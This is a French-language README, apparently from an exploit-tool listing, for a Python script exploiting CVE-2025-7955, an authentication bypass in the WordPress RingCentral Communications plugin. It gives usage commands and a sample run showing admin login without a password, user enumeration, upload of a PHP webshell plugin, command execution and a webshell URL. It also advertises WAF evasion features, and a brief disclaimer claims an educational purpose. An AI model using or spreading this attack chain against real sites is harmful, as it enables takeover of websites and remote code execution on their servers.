CVE-2025-7955

RingCentral Communications 1.5 - 1.6.8 - Absence de vérification côté serveur menant à un contournement d'authentification via la fonction ringcentral_admin_login_2fa_verify

🚨 CVE-2025-7955 | Exploit WordPress RingCentral Communications

📝 Présentation de la vulnérabilité

CVE : CVE-2025-7955
Plugin concerné : RingCentral Communications (WordPress)
Versions concernées : 1.5 – 1.6.8
Score CVSS : 9.8 (Critique)
Type : Contournement d'authentification (absence de vérification côté serveur)

Le plugin WordPress RingCentral Communications est vulnérable à un contournement d'authentification en raison d'une validation inappropriée dans la fonction ringcentral_admin_login_2fa_verify(). Les versions 1.5 à 1.6.8 permettent à des attaquants non authentifiés de se connecter en tant que n'importe quel utilisateur en fournissant simplement des codes factices identiques.

⚡ Fonctionnalités du script

Cet exploit automatise toute la chaîne d'attaque pour CVE-2025-7955. Il est conçu pour :

• Contourner l'authentification : le script se connecte à WordPress en tant que n'importe quel utilisateur (généralement admin) sans avoir besoin de mot de passe, en exploitant le point de terminaison 2FA vulnérable.
• Découvrir automatiquement les noms d'utilisateur : si le nom d'utilisateur n'est pas fourni, le script tente de l'énumérer via l'API REST de WordPress (/wp-json/wp/v2/users/ID).
• Extraire les jetons requis : récupère automatiquement le nonce de protection CSRF nécessaire pour le téléversement de plugins.
• Téléverser un plugin malveillant (webshell) : une fois authentifié, le script téléverse un plugin ZIP contenant un webshell PHP.
• Exécution de commandes via le webshell : après le téléversement réussi, le script démontre l'exécution de code en lançant whoami via le shell et affiche la sortie.
• Fonctionnalités furtives et d'évasion : utilise des délais aléatoires, une liste rotative d'User-Agents et une détection de base WAF/captcha pour contourner les protections simples.

🚀 Utilisation

1. Préparez votre plugin malveillant
   Assurez-vous que votre fichier ZIP de plugin malveillant (par défaut : Nxploit.zip) se trouve dans le même répertoire que le script.

2. Exécutez l'exploit :

   root@kitploit:~

   python3 CVE-2025-7955.py -u http://target/wordpress [-user admin] [-id 1] [-z Nxploit.zip]
   

   • -u, --url : (obligatoire) URL du site WordPress cible
   • -user, --username : (facultatif) Nom d'utilisateur pour se connecter (découvert automatiquement s'il est omis)
   • -id, --id_admin : (défaut : 1) Identifiant utilisateur (l'admin est généralement l'ID 1)
   • -z, --zip : (défaut : Nxploit.zip) Chemin vers le ZIP du plugin malveillant

3. Exemple :

   root@kitploit:~

   python3 CVE-2025-7955.py -u http://target/wordpress
   

✅ Sortie attendue en cas de succès

888b    888                   888          d8b 888                 888 
8888b   888                   888          Y8P 888                 888 
88888b  888                   888              888                 888 
888Y88b 888 888  888 88888b.  888  .d88b.  888 888888 .d88b.   .d88888 
888 Y88b888 `Y8bd8P' 888 "88b 888 d88""88b 888 888   d8P  Y8b d88" 888 
888  Y88888   X88K   888  888 888 888  888 888 888   88888888 888  888 
888   Y8888 .d8""8b. 888 d88P 888 Y88..88P 888 Y88b. Y8b.     Y88b 888 
888    Y888 888  888 88888P"  888  "Y88P"  888  "Y888 "Y8888   "Y88888 
                     888                                               
                     888                                               
                     888                                               
CVE-2025-7955 Exploit By : Nxploited 

[*] Using User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
[*] Attempting login as: admin (ID: 1)
[+] Login successful!
[+] Nonce: 661e57f2e4
[*] Uploading malicious plugin...
[+] Plugin uploaded successfully!
[*] Executing: whoami
----------------------------------------
daemon
----------------------------------------
[+] Shell: http://target/wordpress/wp-content/plugins/Nxploit/index.php?cmd=COMMAND

🎯 Principales caractéristiques

• Aucun mot de passe requis : exploite une faille logique pour contourner entièrement l'authentification.
• Énumération automatique : peut extraire les noms d'utilisateur et les ID via l'API publique.
• Exploitation mains libres : de la connexion au téléversement du webshell jusqu'à l'exécution de commandes, toutes les étapes sont automatisées.
• Contournements de base : délais aléatoires, usurpation d'en-têtes et détection de protections élémentaires.
• Modulaire : modifiez facilement la charge utile du plugin ou ajoutez des fonctionnalités selon vos besoins.

⚠️ Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à un usage éducatif.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale et contraire à l'éthique.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce script.

Par : Khaled Alenazi (Nxploited)